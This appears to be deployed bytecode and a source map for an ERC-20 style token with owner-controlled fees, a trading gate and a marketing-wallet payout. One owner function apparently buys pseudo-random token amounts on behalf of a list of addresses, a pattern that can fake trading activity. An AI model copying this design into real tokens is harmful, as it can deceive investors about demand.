0x60806040526004361061016a5760003560e01c80636f39cfcd116100d157806395d89b411161008a578063bc76c05211610064578063bc76c0521461045b578063cefab2af14610470578063dd62ed3e1461048a578063f2fde38b146104d057600080fd5b806395d89b4114610406578063a67755c21461041b578063a9059cbb1461043b57600080fd5b80636f39cfcd1461033d57806370a082311461035d578063715018a61461039357806380720140146103a85780638da5cb5b146103c8578063936c044b146103e657600080fd5b806336b2e0271161012357806336b2e027146102485780633ecad271146102785780633f80b6d7146102a85780634bf28fd0146102ca578063553193ca1461030757806365b61b771461031d57600080fd5b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101d157806323b872dd146101f057806327b1a8e914610210578063313ce5671461022657600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104f0565b60405161019891906116a1565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004611598565b610582565b6040519015158152602001610198565b3480156101dd57600080fd5b506008545b604051908152602001610198565b3480156101fc57600080fd5b506101c161020b36600461152b565b610598565b34801561021c57600080fd5b506101e2600c5481565b34801561023257600080fd5b5060065460405160ff9091168152602001610198565b34801561025457600080fd5b506101c16102633660046114bb565b60076020526000908152604090205460ff1681565b34801561028457600080fd5b506101c16102933660046114bb565b600a6020526000908152604090205460ff1681565b3480156102b457600080fd5b506102c86102c3366004611667565b61062f565b005b3480156102d657600080fd5b50600b546102ef9061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561031357600080fd5b506101e260155481565b34801561032957600080fd5b506009546102ef906001600160a01b031681565b34801561034957600080fd5b506102c86103583660046114bb565b610679565b34801561036957600080fd5b506101e26103783660046114bb565b6001600160a01b031660009081526001602052604090205490565b34801561039f57600080fd5b506102c86106c5565b3480156103b457600080fd5b506102c86103c33660046115c3565b610739565b3480156103d457600080fd5b506000546001600160a01b03166102ef565b3480156103f257600080fd5b506102c861040136600461156b565b610832565b34801561041257600080fd5b5061018b610887565b34801561042757600080fd5b506102c86104363660046114bb565b610896565b34801561044757600080fd5b506101c1610456366004611598565b6109e9565b34801561046757600080fd5b506102c86109f6565b34801561047c57600080fd5b506014546101c19060ff1681565b34801561049657600080fd5b506101e26104a53660046114f3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104dc57600080fd5b506102c86104eb3660046114bb565b610a34565b6060600480546104ff906117f1565b80601f016020809104026020016040519081016040528092919081815260200182805461052b906117f1565b80156105785780601f1061054d57610100808354040283529160200191610578565b820191906000526020600020905b81548152906001019060200180831161055b57829003601f168201915b5050505050905090565b600061058f338484610afa565b50600192915050565b60006105a5848484610b5b565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610625576001600160a01b03841660009081526002602090815260408083203384529091529020546106009083906117da565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106625760405162461bcd60e51b8152600401610659906116f4565b60405180910390fd5b600f94909455601092909255601155601255601355565b6000546001600160a01b031633146106a35760405162461bcd60e51b8152600401610659906116f4565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106ef5760405162461bcd60e51b8152600401610659906116f4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107635760405162461bcd60e51b8152600401610659906116f4565b60005b81811015610829576108176107b0600585858581811061079657634e487b7160e01b600052603260045260246000fd5b90506020020160208101906107ab91906114bb565b610db3565b6107bb90600161178f565b6107cc90662386f26fc100006117bb565b6107dd9066f8b0a10e47000061178f565b8484848181106107fd57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061081291906114bb565b610e18565b806108218161182c565b915050610766565b50504360155550565b6000546001600160a01b0316331461085c5760405162461bcd60e51b8152600401610659906116f4565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6060600580546104ff906117f1565b6001600160a01b03811630146109e6576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a082319060240160206040518083038186803b1580156108f457600080fd5b505afa158015610908573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092c919061164f565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561097257600080fd5b505af1158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa9190611633565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156109e4573d6000803e3d6000fd5b505b50565b600061058f338484610b5b565b6000546001600160a01b03163314610a205760405162461bcd60e51b8152600401610659906116f4565b6014805460ff19811660ff90911615179055565b6000546001600160a01b03163314610a5e5760405162461bcd60e51b8152600401610659906116f4565b6001600160a01b038116610a9f5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610659565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610bb75760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610659565b600b5460ff1615610bd457610bcd848484611051565b5050505050565b6001600160a01b0383166000908152600a602052604081205460ff168015610bff5750600b5460ff16155b8015610c2457506001600160a01b03851660009081526007602052604090205460ff16155b8015610c4957506001600160a01b03841660009081526007602052604090205460ff16155b8015610c585750601354600c54115b15610c9957306000908152600160205260409020548390811115610c885750306000908152600160205260409020545b8015610c9757610c9781611106565b505b6001600160a01b03851660009081526007602052604090205460ff16158015610cdb57506001600160a01b03841660009081526007602052604090205460ff16155b8015610cea5750600b5460ff16155b15610da757600060155411610cfe57600080fd5b506001600160a01b0384166000908152600a602052604090205460019060ff168015610d3857506009546001600160a01b03858116911614155b8015610d5d57506001600160a01b03841660009081526007602052604090205460ff16155b15610d7857600c8054906000610d728361182c565b91905055505b60145460ff168015610d8957508183145b15610da757610d9a612710846117a7565b610da490846117da565b92505b610bcd858585846112c7565b600082424484604051602001610dee93929190928352602083019190915260601b6bffffffffffffffffffffffff1916604082015260540190565b6040516020818303038152906040528051906020012060001c610e119190611847565b9392505050565b600b805460ff19166001179055600954604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c4648916004808301926020929190829003018186803b158015610e6a57600080fd5b505afa158015610e7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea291906114d7565b60408051600280825260608201835292935060009290916020830190803683370190505090508181600081518110610eea57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f2c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81523060048201526000918416906370a082319060240160206040518083038186803b158015610f7c57600080fd5b505afa158015610f90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb4919061164f565b9050808511610fc35784610fc5565b805b945084610fd457505050611043565b600954604051635c11d79560e01b81526001600160a01b0390911690635c11d7959061100d90889060009087908a90429060040161171f565b600060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b505050505050505b5050600b805460ff19169055565b6001600160a01b03831660009081526001602052604081208054839190839061107b9084906117da565b90915550506001600160a01b038316600090815260016020526040812080548492906110a890849061178f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110f491815260200190565b60405180910390a35060019392505050565b600b805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061115657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111aa57600080fd5b505afa1580156111be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e291906114d7565b8160018151811061120357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac9479061124990859060009086903090429060040161171f565b600060405180830381600087803b15801561126357600080fd5b505af1925050508015611274575060015b504780156112b8576003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112b6573d6000803e3d6000fd5b505b5050600b805460ff1916905550565b6001600160a01b0384166000908152600160205260409020546112eb9083906117da565b6001600160a01b038516600090815260016020526040812091909155811561142c576001600160a01b0384166000908152600a602052604081205460ff161561134c57601254600c541161134157600e54611345565b6010545b9050611387565b6001600160a01b0386166000908152600a602052604090205460ff161561138757601154600c541161138057600d54611384565b600f545b90505b6000606461139583876117bb565b61139f91906117a7565b90508015611429576113b1818461178f565b306000908152600160205260409020549093506113cf90829061178f565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114209085815260200190565b60405180910390a35b50505b61143681846117da565b6001600160a01b038516600090815260016020526040902054611459919061178f565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114a384876117da565b60405190815260200160405180910390a35050505050565b6000602082840312156114cc578081fd5b8135610e1181611887565b6000602082840312156114e8578081fd5b8151610e1181611887565b60008060408385031215611505578081fd5b823561151081611887565b9150602083013561152081611887565b809150509250929050565b60008060006060848603121561153f578081fd5b833561154a81611887565b9250602084013561155a81611887565b929592945050506040919091013590565b6000806040838503121561157d578182fd5b823561158881611887565b915060208301356115208161189c565b600080604083850312156115aa578182fd5b82356115b581611887565b946020939093013593505050565b600080602083850312156115d5578182fd5b823567ffffffffffffffff808211156115ec578384fd5b818501915085601f8301126115ff578384fd5b81358181111561160d578485fd5b8660208260051b8501011115611621578485fd5b60209290920196919550909350505050565b600060208284031215611644578081fd5b8151610e118161189c565b600060208284031215611660578081fd5b5051919050565b600080600080600060a0868803121561167e578081fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000602080835283518082850152825b818110156116cd578581018301518582016040015282016116b1565b818111156116de5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561176e5784516001600160a01b031683529383019391830191600101611749565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117a2576117a261185b565b500190565b6000826117b6576117b6611871565b500490565b60008160001904831182151516156117d5576117d561185b565b500290565b6000828210156117ec576117ec61185b565b500390565b600181811c9082168061180557607f821691505b6020821081141561182657634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156118405761184061185b565b5060010190565b60008261185657611856611871565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b03811681146109e657600080fd5b80151581146109e657600080fdfea2646970667358221220c5ced1a500e39f7a397493e3abcbc91092129666ff92b9ba3c5156841bbe47e464736f6c63430008040033

Deployed Bytecode Sourcemap

3288:9183:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5370:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6133:159;;;;;;;;;;-1:-1:-1;6133:159:0;;;;;:::i;:::-;;:::i;:::-;;;4757:14:1;;4750:22;4732:41;;4720:2;4705:18;6133:159:0;4687:92:1;5574:100:0;;;;;;;;;;-1:-1:-1;5654:12:0;;5574:100;;;6795:25:1;;;6783:2;6768:18;5574:100:0;6750:76:1;6300:336:0;;;;;;;;;;-1:-1:-1;6300:336:0;;;;;:::i;:::-;;:::i;7096:26::-;;;;;;;;;;;;;;;;5472:94;;;;;;;;;;-1:-1:-1;5549:9:0;;5472:94;;5549:9;;;;7961:36:1;;7949:2;7934:18;5472:94:0;7916:87:1;3581:49:0;;;;;;;;;;-1:-1:-1;3581:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3725:44;;;;;;;;;;-1:-1:-1;3725:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7414:406;;;;;;;;;;-1:-1:-1;7414:406:0;;;;;:::i;:::-;;:::i;:::-;;3855:27;;;;;;;;;;-1:-1:-1;3855:27:0;;;;;;;-1:-1:-1;;;;;3855:27:0;;;;;;-1:-1:-1;;;;;4269:32:1;;;4251:51;;4239:2;4224:18;3855:27:0;4206:102:1;10327:30:0;;;;;;;;;;;;;;;;3680:36;;;;;;;;;;-1:-1:-1;3680:36:0;;;;-1:-1:-1;;;;;3680:36:0;;;5146:110;;;;;;;;;;-1:-1:-1;5146:110:0;;;;;:::i;:::-;;:::i;5682:119::-;;;;;;;;;;-1:-1:-1;5682:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5775:18:0;5748:7;5775:18;;;:9;:18;;;;;;;5682:119;2911:148;;;;;;;;;;;;;:::i;10364:237::-;;;;;;;;;;-1:-1:-1;10364:237:0;;;;;:::i;:::-;;:::i;2714:79::-;;;;;;;;;;-1:-1:-1;2752:7:0;2779:6;-1:-1:-1;;;;;2779:6:0;2714:79;;12310:121;;;;;;;;;;-1:-1:-1;12310:121:0;;;;;:::i;:::-;;:::i;5264:98::-;;;;;;;;;;;;;:::i;11476:262::-;;;;;;;;;;-1:-1:-1;11476:262:0;;;;;:::i;:::-;;:::i;5809:165::-;;;;;;;;;;-1:-1:-1;5809:165:0;;;;;:::i;:::-;;:::i;7866:87::-;;;;;;;;;;;;;:::i;7828:31::-;;;;;;;;;;-1:-1:-1;7828:31:0;;;;;;;;5982:143;;;;;;;;;;-1:-1:-1;5982:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6090:18:0;;;6063:7;6090:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5982:143;3067:214;;;;;;;;;;-1:-1:-1;3067:214:0;;;;;:::i;:::-;;:::i;5370:94::-;5418:13;5451:5;5444:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5370:94;:::o;6133:159::-;6208:4;6225:37;6234:10;6246:7;6255:6;6225:8;:37::i;:::-;-1:-1:-1;6280:4:0;6133:159;;;;:::o;6300:336::-;6398:4;6415:36;6425:6;6433:9;6444:6;6415:9;:36::i;:::-;-1:-1:-1;;;;;6466:19:0;;3844:1;6466:19;;;:11;:19;;;;;;;;6486:10;6466:31;;;;;;;;-1:-1:-1;;6466:38:0;6462:145;;-1:-1:-1;;;;;6555:19:0;;;;;;:11;:19;;;;;;;;6575:10;6555:31;;;;;;;;:40;;6589:6;;6555:40;:::i;:::-;-1:-1:-1;;;;;6521:19:0;;;;;;:11;:19;;;;;;;;6541:10;6521:31;;;;;;;:74;6462:145;-1:-1:-1;6624:4:0;6300:336;;;;;:::o;7414:406::-;2841:6;;-1:-1:-1;;;;;2841:6:0;2851:10;2841:20;2833:50;;;;-1:-1:-1;;;2833:50:0;;;;;;;:::i;:::-;;;;;;;;;7621:12:::1;:21:::0;;;;7653:13:::1;:23:::0;;;;7687:15:::1;:30:::0;7728:16:::1;:32:::0;7771:18:::1;:41:::0;7414:406::o;5146:110::-;2841:6;;-1:-1:-1;;;;;2841:6:0;2851:10;2841:20;2833:50;;;;-1:-1:-1;;;2833:50:0;;;;;;;:::i;:::-;5227:11:::1;:21:::0;;-1:-1:-1;;;;;;5227:21:0::1;-1:-1:-1::0;;;;;5227:21:0;;;::::1;::::0;;;::::1;::::0;;5146:110::o;2911:148::-;2841:6;;-1:-1:-1;;;;;2841:6:0;2851:10;2841:20;2833:50;;;;-1:-1:-1;;;2833:50:0;;;;;;;:::i;:::-;3018:1:::1;3002:6:::0;;2981:40:::1;::::0;-1:-1:-1;;;;;3002:6:0;;::::1;::::0;2981:40:::1;::::0;3018:1;;2981:40:::1;3049:1;3032:19:::0;;-1:-1:-1;;;;;;3032:19:0::1;::::0;;2911:148::o;10364:237::-;2841:6;;-1:-1:-1;;;;;2841:6:0;2851:10;2841:20;2833:50;;;;-1:-1:-1;;;2833:50:0;;;;;;;:::i;:::-;10441:6:::1;10437:116;10450:13:::0;;::::1;10437:116;;;10483:58;10495:17;10502:1;10504:4;;10509:1;10504:7;;;;;-1:-1:-1::0;;;10504:7:0::1;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10495:6;:17::i;:::-;:19;::::0;10513:1:::1;10495:19;:::i;:::-;10494:28;::::0;10516:6:::1;10494:28;:::i;:::-;:37;::::0;10523:8:::1;10494:37;:::i;:::-;10533:4;;10538:1;10533:7;;;;;-1:-1:-1::0;;;10533:7:0::1;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10483:9;:58::i;:::-;10464:3:::0;::::1;::::0;::::1;:::i;:::-;;;;10437:116;;;-1:-1:-1::0;;10581:12:0::1;10563:15;:30:::0;-1:-1:-1;10364:237:0:o;12310:121::-;2841:6;;-1:-1:-1;;;;;2841:6:0;2851:10;2841:20;2833:50;;;;-1:-1:-1;;;2833:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12389:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;12389:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12310:121::o;5264:98::-;5314:13;5347:7;5340:14;;;;;:::i;11476:262::-;-1:-1:-1;;;;;11536:23:0;;11554:4;11536:23;11533:198;;11599:11;;11612:39;;-1:-1:-1;;;11612:39:0;;11645:4;11612:39;;;4251:51:1;-1:-1:-1;;;;;11575:23:0;;;;;;11599:11;;;11575:23;;11612:24;;4224:18:1;;11612:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11575:77;;-1:-1:-1;;;;;;11575:77:0;;;;;;;-1:-1:-1;;;;;4505:32:1;;;11575:77:0;;;4487:51:1;4554:18;;;4547:34;4460:18;;11575:77:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;11675:11:0;;11667:52;;-1:-1:-1;;;;;11675:11:0;;;;11697:21;11667:52;;;;;11675:11;11667:52;11675:11;11667:52;11697:21;11675:11;11667:52;;;;;;;;;;;;;;;;;;;;;11533:198;11476:262;:::o;5809:165::-;5887:4;5904:40;5914:10;5926:9;5937:6;5904:9;:40::i;7866:87::-;2841:6;;-1:-1:-1;;;;;2841:6:0;2851:10;2841:20;2833:50;;;;-1:-1:-1;;;2833:50:0;;;;;;;:::i;:::-;7933:12:::1;::::0;;-1:-1:-1;;7917:28:0;::::1;7933:12;::::0;;::::1;7932:13;7917:28;::::0;;7866:87::o;3067:214::-;2841:6;;-1:-1:-1;;;;;2841:6:0;2851:10;2841:20;2833:50;;;;-1:-1:-1;;;2833:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3156:22:0;::::1;3148:43;;;::::0;-1:-1:-1;;;3148:43:0;;6169:2:1;3148:43:0::1;::::0;::::1;6151:21:1::0;6208:1;6188:18;;;6181:29;-1:-1:-1;;;6226:18:1;;;6219:38;6274:18;;3148:43:0::1;6141:157:1::0;3148:43:0::1;3228:6;::::0;;3207:38:::1;::::0;-1:-1:-1;;;;;3207:38:0;;::::1;::::0;3228:6;::::1;::::0;3207:38:::1;::::0;::::1;3256:6;:17:::0;;-1:-1:-1;;;;;;3256:17:0::1;-1:-1:-1::0;;;;;3256:17:0;;;::::1;::::0;;;::::1;::::0;;3067:214::o;6644:177::-;-1:-1:-1;;;;;6729:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6781:32;;6795:25:1;;;6781:32:0;;6768:18:1;6781:32:0;;;;;;;6644:177;;;:::o;7961:1319::-;-1:-1:-1;;;;;5775:18:0;;8075:15;5775:18;;;:9;:18;;;;;;8127:17;;;;8119:46;;;;-1:-1:-1;;;8119:46:0;;5824:2:1;8119:46:0;;;5806:21:1;5863:2;5843:18;;;5836:30;-1:-1:-1;;;5882:18:1;;;5875:46;5938:18;;8119:46:0;5796:166:1;8119:46:0;8182:6;;;;8178:91;;;8204:32;8219:4;8225:2;8229:6;8204:14;:32::i;:::-;;8251:7;7961:1319;;;:::o;8178:91::-;-1:-1:-1;;;;;8310:16:0;;8281:12;8310:16;;;:12;:16;;;;;;;;:27;;;;-1:-1:-1;8331:6:0;;;;8330:7;8310:27;:55;;;;-1:-1:-1;;;;;;8342:23:0;;;;;;:17;:23;;;;;;;;8341:24;8310:55;:81;;;;-1:-1:-1;;;;;;8370:21:0;;;;;;:17;:21;;;;;;;;8369:22;8310:81;:115;;;;;8407:18;;8395:9;;:30;8310:115;8306:413;;;8525:4;5748:7;5775:18;;;:9;:18;;;;;;8466:6;;8491:13;:40;8487:120;;;-1:-1:-1;8585:4:0;8567:24;;;;:9;:24;;;;;;8487:120;8625:17;;8621:87;;8662:30;8678:13;8662:15;:30::i;:::-;8306:413;;-1:-1:-1;;;;;8736:23:0;;;;;;:17;:23;;;;;;;;8735:24;:50;;;;-1:-1:-1;;;;;;8764:21:0;;;;;;:17;:21;;;;;;;;8763:22;8735:50;:61;;;;-1:-1:-1;8790:6:0;;;;8789:7;8735:61;8731:488;;;8839:1;8821:15;;:19;8813:28;;;;;;-1:-1:-1;;;;;;8928:18:0;;;;;;:12;:18;;;;;;8866:4;;8928:18;;:51;;;;-1:-1:-1;8964:14:0;;-1:-1:-1;;;;;8950:29:0;;;8964:14;;8950:29;;8928:51;:77;;;;-1:-1:-1;;;;;;8984:21:0;;;;;;:17;:21;;;;;;;;8983:22;8928:77;8924:129;;;9026:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8924:129;9102:12;;;;:33;;;;;9128:7;9118:6;:17;9102:33;9098:108;;;9175:14;9184:5;9175:6;:14;:::i;:::-;9165:25;;:6;:25;:::i;:::-;9156:34;;9098:108;9231:41;9246:4;9252:2;9256:6;9264:7;9231:14;:41::i;11288:180::-;11352:4;11454:6;11408:15;11424:16;11443:5;11391:58;;;;;;;;;3926:19:1;;;3970:2;3961:12;;3954:28;;;;4020:2;4016:15;-1:-1:-1;;4012:53:1;4007:2;3998:12;;3991:75;4091:2;4082:12;;3916:184;11391:58:0;;;;;;;;;;;;;11381:69;;;;;;11376:75;;:84;;;;:::i;:::-;11369:91;11288:180;-1:-1:-1;;;11288:180:0:o;10609:671::-;3923:6;:13;;-1:-1:-1;;3923:13:0;3932:4;3923:13;;;10706:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;10706:21:0;;;;3923:6;;-1:-1:-1;;;;;10706:14:0::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:14;:21;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10762:16;::::0;;10776:1:::1;10762:16:::0;;;;;::::1;::::0;;10691:36;;-1:-1:-1;10738:21:0::1;::::0;10762:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10762:16:0::1;10738:40;;10807:4;10789;10794:1;10789:7;;;;;;-1:-1:-1::0;;;10789:7:0::1;;;;;;;;;;;;;;:23;-1:-1:-1::0;;;;;10789:23:0::1;;;-1:-1:-1::0;;;;;10789:23:0::1;;;::::0;::::1;10841:4;10823;10828:1;10823:7;;;;;;-1:-1:-1::0;;;10823:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;10823:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;10872:37:::1;::::0;-1:-1:-1;;;10872:37:0;;10903:4:::1;10872:37;::::0;::::1;4251:51:1::0;10857:12:0::1;::::0;10872:22;::::1;::::0;::::1;::::0;4224:18:1;;10872:37:0::1;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10857:52;;10948:4;10934:11;:18;:39;;10962:11;10934:39;;;10955:4;10934:39;10920:53:::0;-1:-1:-1;10988:16:0;10984:29:::1;;11006:7;;;;;10984:29;11049:14;::::0;:223:::1;::::0;-1:-1:-1;;;11049:223:0;;-1:-1:-1;;;;;11049:14:0;;::::1;::::0;:68:::1;::::0;:223:::1;::::0;11132:11;;11049:14:::1;::::0;11201:4;;11228:2;;11246:15:::1;::::0;11049:223:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;3947:1;;;;-1:-1:-1::0;;3959:6:0;:14;;-1:-1:-1;;3959:14:0;;;10609:671::o;6829:259::-;-1:-1:-1;;;;;6939:17:0;;6922:4;6939:17;;;:9;:17;;;;;:27;;6960:6;;6939:17;6922:4;;6939:27;;6960:6;;6939:27;:::i;:::-;;;;-1:-1:-1;;;;;;;6977:20:0;;;;;;:9;:20;;;;;:30;;7001:6;;6977:20;:30;;7001:6;;6977:30;:::i;:::-;;;;;;;;7040:9;-1:-1:-1;;;;;7023:35:0;7032:6;-1:-1:-1;;;;;7023:35:0;;7051:6;7023:35;;;;6795:25:1;;6783:2;6768:18;;6750:76;7023:35:0;;;;;;;;-1:-1:-1;7076:4:0;6829:259;;;;;:::o;11746:556::-;3923:6;:13;;-1:-1:-1;;3923:13:0;3932:4;3923:13;;;11847:16:::1;::::0;;11861:1:::1;11847:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11847:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11847:16:0::1;11823:40;;11892:4;11874;11879:1;11874:7;;;;;;-1:-1:-1::0;;;11874:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;11874:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11918:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;11918:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;11874:7;;11918:21;;;;;:14;:21;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11908:4;11913:1;11908:7;;;;;;-1:-1:-1::0;;;11908:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;11908:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;11954:14:::1;::::0;:195:::1;::::0;-1:-1:-1;;;11954:195:0;;:14;::::1;::::0;:65:::1;::::0;:195:::1;::::0;12034:11;;11954:14:::1;::::0;12076:4;;12103::::1;::::0;12123:15:::1;::::0;11954:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;11950:211:::0;12188:21:::1;12224:8:::0;;12220:75:::1;;12256:11;::::0;12248:35:::1;::::0;-1:-1:-1;;;;;12256:11:0;;::::1;::::0;12248:35;::::1;;;::::0;12278:4;;12256:11:::1;12248:35:::0;12256:11;12248:35;12278:4;12256:11;12248:35;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12220:75;-1:-1:-1::0;;3959:6:0;:14;;-1:-1:-1;;3959:14:0;;;-1:-1:-1;11746:556:0:o;9288:1031::-;-1:-1:-1;;;;;9460:17:0;;;;;;:9;:17;;;;;;:27;;9480:7;;9460:27;:::i;:::-;-1:-1:-1;;;;;9440:17:0;;;;;;:9;:17;;;;;:47;;;;9528:638;;;;-1:-1:-1;;;;;9589:23:0;;9556:14;9589:23;;;:12;:23;;;;;;;;9585:270;;;9654:16;;9642:9;;:28;:62;;9689:15;;9642:62;;;9673:13;;9642:62;9633:71;;9585:270;;;-1:-1:-1;;;;;9730:20:0;;;;;;:12;:20;;;;;;;;9726:129;;;9792:15;;9780:9;;:27;:59;;9825:14;;9780:59;;;9810:12;;9780:59;9771:68;;9726:129;9869:18;9909:3;9890:16;9900:6;9890:7;:16;:::i;:::-;:22;;;;:::i;:::-;9869:43;-1:-1:-1;9931:14:0;;9927:228;;9966:23;9979:10;9966:23;;:::i;:::-;10053:4;10035:24;;;;:9;:24;;;;;;9966:23;;-1:-1:-1;10035:37:0;;10062:10;;10035:37;:::i;:::-;10026:4;10008:24;;;;:9;:24;;;;;;;:64;;;;10096:43;;-1:-1:-1;;;;;10096:43:0;;;;;;;10128:10;6795:25:1;;6783:2;6768:18;;6750:76;10096:43:0;;;;;;;;9927:228;9528:638;;;10225:19;10235:9;10225:7;:19;:::i;:::-;-1:-1:-1;;;;;10201:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;10178:20:0;;;;;;;:9;:20;;;;;:67;;;;10261:48;;;10289:19;10299:9;10289:7;:19;:::i;:::-;10261:48;;6795:25:1;;;6783:2;6768:18;10261:48:0;;;;;;;9288:1031;;;;;:::o;14:257:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:31;235:5;210:31;:::i;276:261::-;346:6;399:2;387:9;378:7;374:23;370:32;367:2;;;420:6;412;405:22;367:2;457:9;451:16;476:31;501:5;476:31;:::i;542:398::-;610:6;618;671:2;659:9;650:7;646:23;642:32;639:2;;;692:6;684;677:22;639:2;736:9;723:23;755:31;780:5;755:31;:::i;:::-;805:5;-1:-1:-1;862: